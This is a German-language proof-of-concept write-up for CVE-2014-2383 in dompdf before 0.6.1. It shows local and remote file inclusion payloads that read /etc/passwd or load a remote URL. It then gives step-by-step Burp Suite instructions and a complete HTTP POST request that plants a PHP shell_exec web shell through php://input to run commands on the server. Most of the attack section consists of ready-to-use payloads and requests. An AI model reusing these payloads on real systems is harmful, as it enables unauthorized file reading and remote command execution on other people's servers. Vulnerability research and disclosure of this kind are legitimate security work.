
Proof-of-Concept-Exploit für CVE-2014-2383, der LFI/RFI-zu-RCE-Eskalation in dompdf <0.6.1 demonstriert, mit Schritt-für-Schritt-Reproduktionsanleitung und Automatisierungsskript.
Testumgebung: dompdf 0.6.0 - php 7.3.33 - apache 2.4.25
Während einer Sicherheitsbewertung wurde das Vorhandensein von CVE-2014-2383 entdeckt. Dieses Dokument ist ein Proof-of-Concept und enthält keine Details der ersten Entdeckung, um die Privatsphäre des Kunden zu schützen. Der Inhalt dieses Dokuments ahmt jedoch die Umgebung nach, in der diese Schwachstelle ausgenutzt wurde.
Entdeckung https://github.com/projectdiscovery/nuclei

Details zu CVE-2014-2383
A vulnerability in dompdf.php in dompdf before 0.6.1, when DOMPDF_ENABLE_PHP is enabled, allows context-dependent attackers to bypass chroot protections and read arbitrary files via a PHP protocol and wrappers in the input_file parameter, as demonstrated by a php://filter/read=convert.base64-encode/resource in the input_file parameter.
Beachte den PHP-Wrapper php://filter/resource, der verwendet wird, um die /etc/passwd-Datei vom Ziel einzubinden.
{{BaseURL}}/dompdf.php?input_file=php://filter/resource=/etc/passwd

Dieser PHP-Wrapper ermöglichte nicht nur lokale Dateieinbindungen, sondern auch entfernte Dateien.
{{BaseURL}}/dompdf.php?input_file=php://filter/resource=http://relativ3pa1n.com

Bis zu diesem Punkt haben wir bekannte Informationen und Proof-of-Concepts verwendet, um diese Schwachstellen auszunutzen. In dem Versuch, die Ausnutzung dieser Schwachstelle weiterzuverfolgen, habe ich andere Protokolle und PHP-Filter verwendet, um eine Art „Vorverarbeitung“ vor der Erstellung des PDFs zu erreichen.
Ein wesentlicher Unterschied bei dieser LFI/RFI-Schwachstelle bestand darin, dass jede im LFI referenzierte Datei als PDF-Dokument gerendert wurde. Das bedeutete, dass der Versuch, eine PHP-Datei durch den LFI zu rendern, diese Datei nur in ein PDF umwandeln und das PHP in der Datei nicht ausführen würde. Bei näherer Betrachtung unseres Payloads werden wir feststellen, dass php://filter/resource= der Teil unseres Payloads ist, der eine von DOMPDF auferlegte Einschränkung umgeht.
Mit einem anderen PHP-Filter können wir den Server eine POST-Anfrage vorverarbeiten lassen, bevor der LFI ausgeführt wird. Wir können den Eingabestrom php://input verwenden, um die Rohdaten unserer POST-Anfrage zu lesen. Zusätzlich können wir einen Parameter mit dem Befehl, den wir ausführen möchten, hinzufügen und ihn in unseren POST-Daten definieren. Unser neuer Parameter würde also etwa so aussehen: php://input&cmd=id, und unsere POST-Daten würden so aussehen: <?php echo shell_exec($_GET[‘cmd’]);?>. Das Ergebnis davon ist unten zu sehen.
Navigieren Sie zu dem LFI, sobald Sie eine Version von DOMPDF < 0.6.1 entdeckt haben.
{{BaseURL}}/dompdf.php?input_file=php://filter/resource=/etc/passwd
Erfassen Sie diese Anfrage in einem Proxy wie BurpSuite.

Senden Sie die Anfrage an Repeater (Strg+R).

Sobald Sie die Anfrage im Repeater haben, klicken Sie mit der rechten Maustaste auf die Anfrage und wählen Sie „Change Request Method“.

Ändern Sie den Parameter input_file:
From:
php://filter/resource=/etc/passwd
To:
php://input&cmd=whoami

Fügen Sie dies zum Body der POST-Anfrage hinzu: (Manchmal müssen die einfachen Anführungszeichen neu eingegeben werden)
<?php echo shell_exec($_GET['cmd']);?>

Die gesamte Anfrage sollte in etwa so aussehen:
POST /dompdf/dompdf.php?input_file=php://input&cmd=whoami HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=3369f6e27b5a514fb12c7bac74f8b11e
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
<?php echo shell_exec($_GET['cmd']);?>
Wenn Sie BurpSuite verwenden, senden Sie die Anfrage und verwenden Sie dann die Suchleiste, um nach „BT“ zu suchen. Beobachten Sie, dass der Befehl ausgeführt wurde und die Antwort in die Byte-Ebene-Daten des PDFs geschrieben wird, das generiert werden soll. (In diesem Fall ist der Benutzer „daemon“)

Ich habe ein Python-Skript zusammengestellt, das den Großteil davon automatisieren kann.

Haftungsausschluss: Dies dient nur zu Bildungszwecken. Bitte lassen Sie die Webserver anderer Leute in Ruhe. 😄
Hier ist der Link zum ungelisteten Video des RCE. Video